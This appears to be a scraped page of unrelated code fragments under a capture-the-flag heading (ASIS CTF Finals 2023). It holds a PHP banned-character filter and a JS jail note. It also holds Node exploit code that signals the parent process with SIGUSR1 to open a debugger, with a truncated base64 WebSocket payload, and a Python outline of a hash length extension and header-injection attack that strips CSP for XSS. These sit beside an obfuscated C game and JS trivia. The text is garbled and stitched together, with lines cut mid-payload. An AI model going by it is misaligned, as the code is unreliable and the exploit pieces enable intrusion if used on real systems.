st98 st98

ASIS CTF Finals 2023

<body>

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
 // whitespace chars

Simple JS Jail challenge.

It is run on context, so we have nothing but to play with constructor and console.

1337 === eval(our_input)

	// first send this, then send the whole script
	// process.kill(process.ppid, "SIGUSR1")

	const fs = require("fs");

	const wsPayload = `KCgpPT57dmFyIF9fd2VicGFja19tb2R1bGVzX189ezI5NihlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoODEpO2kuY3JlYXRlV2ViU29ja2V0U3RyZWFtPXMoMjUpLGkuU2VydmVyPXMoMTQzKSxpLlJlY2VpdmVyPXMoMzE1KSxpLlNlbmRlcj1zKDY3NSksaS5XZWJTb2NrZXQ9aSxpLldlYlNvY2tldFNlcnZlcj1pLlNlcnZlcixlLmV4cG9ydHM9aX0sNzI4KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0VNUFRZX0JVRkZFUjppfT1zKDc0Mikscj1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdO2Z1bmN0aW9uIG8oZSx0KXtpZigwPT09ZS5sZW5ndGgpcmV0dXJuIGk7aWYoMT09PWUubGVuZ3RoKXJldHVybiBlWzBdO2xldCBzPUJ1ZmZlci5hbGxvY1Vuc2FmZSh0KSxvPTA7Zm9yKGxldCBuPTA7bjxlLmxlbmd0aDtuKyspe2xldCBhPWVbbl07cy5zZXQoYSxvKSxvKz1hLmxlbmd0aH1yZXR1cm4gbzx0P25ldyByKHMuYnVmZmVyLHMuYnl0ZU9mZnNldCxvKTpzfWZ1bmN0aW9uIG4oZSx0LHMsaSxyKXtmb3IobGV0IG89MDtvPHI7bysrKXNbaStvXT1lW29dXnRbMyZvXX1mdW5jdGlvbiBhKGUsdCl7Zm9yKGxldCBzPTA7czxlLmxlbmd0aDtzKyspZVtzXV49dFszJnNdfWZ1bmN0aW9uIGgoZSl7cmV0dXJuIGUubGVuZ3RoPT09ZS5idWZmZXIuYnl0ZUxlbmd0aD9lLmJ1ZmZlcjplLmJ1Z

	'''
	1. hash length extension: Make multi query.
	2. header injection: Remove CSP header, and XSS occur
	'''

	import hashpumpy
	import requests

	b64e = lambda x:x.encode('base64').replace('\n','')

	M[16],X=16,W,k;main(){T(system("stty cbreak")
	);puts(W&1?"WIN":"LOSE");}K[]={2,3,1};s(f,d,i
	,j,l,P){for(i=4;i--;)for(j=k=l=0;k<4;)j<4?P=M
	[w(d,i,j++)],W\|=P>>11,l*P&&(f?M[w(d,i,k)]=l<<
	(l==P):0,k++),l=l?P?l-P?P:0:l:P:(f?M[w(d,i,k)
	]=l:0,++k,W\|=2*!l,l=0);}w(d,i,j){return d?w(d
	-1,j,3-i):4*i+j;}T(i){for(i=X+rand()%X;M[i%X]
	*i;i--);i?M[i%X]=2<<rand()%2:0;for(W=i=0;i<4;
	)s(0,i++);for(i=X,puts("\e[2J\e[H");i--;i%4\|\|
	puts(""))printf(M[i]?"%4d\|":" \|",M[i]);W-2

	// OOP
	console.log( 'OHAI'.blink() );

	// Call invocation
	console.log( String.prototype.blink.call('OHAI') );

	// $ always makes things look awesome.
	var $ = Function.prototype.call;

	// Very explicit call invocation

	var parser = document.createElement('a');
	parser.href = "http://example.com:3000/pathname/?search=test#hash";

	parser.protocol; // => "http:"
	parser.hostname; // => "example.com"
	parser.port; // => "3000"
	parser.pathname; // => "/pathname/"
	parser.search; // => "?search=test"
	parser.hash; // => "#hash"
	parser.host; // => "example.com:3000"